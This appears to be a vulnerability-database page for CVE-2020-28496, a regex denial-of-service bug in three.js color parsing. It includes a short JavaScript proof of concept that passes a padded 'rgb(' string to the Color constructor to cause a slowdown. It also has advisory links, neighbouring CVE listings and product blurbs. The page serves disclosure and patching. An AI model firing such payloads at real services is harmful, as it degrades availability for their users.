CVE-2020-28496

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")

• CWE-400

• https://github.com/mrdoob/three.js/issues/21132Exploit, Issue Tracking, Third Party Advisory
• https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583ePatch, Third Party Advisory
• https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972Exploit, Third Party Advisory
• https://snyk.io/vuln/SNYK-JS-THREE-1064931Exploit, Third Party Advisory
• https://github.com/mrdoob/three.js/issues/21132Exploit, Issue Tracking, Third Party Advisory
• https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583ePatch, Third Party Advisory
• https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972Exploit, Third Party Advisory
• https://snyk.io/vuln/SNYK-JS-THREE-1064931Exploit, Third Party Advisory

Published

Feb 18, 2021

Last Modified

Jun 17, 2026

Status

Modified

• How Strix found a critical auth bypass in etcdStrix autonomously discovered a critical authentication bypass in etcd, later designated CVE-2026-33413.
• Autonomous PentestingAI agents that find and validate exploitable vulnerabilities like this one across your applications.
• PR ReviewsPentest every pull request so vulnerable code is caught before it ships to production.
• AI Penetration TestingHow AI-driven penetration testing continuously covers your attack surface.

• CVE-2020-28490The package async-git before 1.13.2 are vulnerable to Comman…9.8
• CVE-2020-28491This affects the package com.fasterxml.jackson.dataformat:ja…7.5
• CVE-2020-28492Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultID…
• CVE-2020-28493This affects the package jinja2 from 0.0.0 and before 2.11.3…5.3
• CVE-2020-28494This affects the package total.js before 3.4.7. The issue oc…8.6
• CVE-2020-28495This affects the package total.js before 3.4.7. The set func…7.3
• CVE-2020-28498The package elliptic before 6.5.4 are vulnerable to Cryptogr…6.8
• CVE-2020-28499All versions of package merge are vulnerable to Prototype Po…9.8
• CVE-2020-2850Vulnerability in the Oracle Depot Repair product of Oracle E…8.2
• CVE-2020-28500Lodash versions prior to 4.17.21 are vulnerable to Regular E…5.3
• CVE-2020-28501This affects the package es6-crawler-detect before 3.1.3. No…7.5
• CVE-2020-28502This affects the package xmlhttprequest before 1.7.0; all ve…8.1